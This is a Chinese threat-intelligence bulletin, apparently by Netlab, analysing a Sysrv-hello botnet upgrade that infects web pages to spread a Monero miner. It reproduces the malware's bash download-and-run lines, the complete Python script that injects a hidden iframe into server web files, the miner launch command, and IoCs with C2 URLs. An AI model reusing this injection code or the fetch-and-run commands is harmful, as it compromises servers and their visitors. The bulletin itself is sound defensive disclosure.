威胁快讯:Sysrv-hello再次升级,通过感染网页文件提高传播能力
版权
版权声明: 本文为Netlab原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
概述
从去年末到现在,挖矿类型的botnet家族一直活跃,除了新家族不断出现,一些老家族也频繁升级,主要是为了提高传播能力和隐蔽性,我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello,本来近期已经有2家安全公司先后分析过该家族的新变种[1][2],但文章刚出来sysrv的作者就在4月20号再次进行升级,增加了感染网页的能力,本文对此做一分析。
新模块a.py和BrowserUpdate.exe
我们知道sysrv能同时感染Linux和Windows系统,其入口为一个脚本文件,Linux下为bash脚本,最常见的文件名是ldr.sh,Windows下为PowerShell脚本ldr.ps1,这次升级只在ldr.sh中检测到,bash脚本中添加了如下代码:
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
能看到加了2个新模块:a.py和BrowserUpdate.exe,其中a.py会被ldr.sh直接执行。
分析下载回来的a.py文件发现其为一个Python程序,体积并不大,代码只有20行:
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
for root, dirs, files in os.walk(_dir):
for i in files:
path = os.path.join(root, i)
if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
continue
try:
with open(path) as f:
data = f.read()
if (d in data) or ("<head>" not in data):
continue
with open(path, "w") as f:
f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
except:
continue
dst = os.path.join(root, "BrowserUpdate.exe")
os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
这段代码的功能是遍历"/var"、"/usr/local"、"/home"
和"/opt"
目录,寻找具有".html"、".php"、".htm"、".jsp"、".asp"
或者".tpl"
后缀的网页文件,找到后就在其中插入一段iframe代码:
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
这样,如果有人访问修改后的网页,那么就会下载并有可能执行BrowserUpdate.exe,所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe,下面再来看看这个exe程序为何物。
BrowserUpdate.exe是一个PE32程序,加了UPX壳,VT扫描结果显示它是CoinMiner类型的恶意程序,该exe运行后会释放2个64位的PE文件:
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
然后BrowserUpdate.exe会通过如下命令运行释放的程序:
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
上面的命令包含了矿池和钱包信息,目的是启动挖矿行为,所释放的exe和sys其实正好是一组xmrig套件,其中ModuleInstaller.exe为主程序,会加载WinRing0x64.sys驱动,对它们业界早有分析,这里不再赘述。
总结
通过上面的分析不难看出,Sysrv-hello的这次升级主要是为了提高传播能力,通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器,不但该机器自身会沦为矿工,其上的网页文件也会被篡改,所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。
考虑到sysrv已经多次升级,我们预计这次升级也只是中间一环而已,后面应该还会有新的动作,对此我们会保持关注,有新的进展将会及时公布。
联系我们
感兴趣的读者,可以通过twitter或者邮件netlab[at]360.cn联系我们。
IoC
MD5
833822feda97936d690ff6b983ad1a87 ldr.sh
645647171d92e1fe289b63bbd2f2db86 a.py
048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS
URL
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
矿池和钱包
矿池: xmr-eu2.nanopool.org:14444
钱包:41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo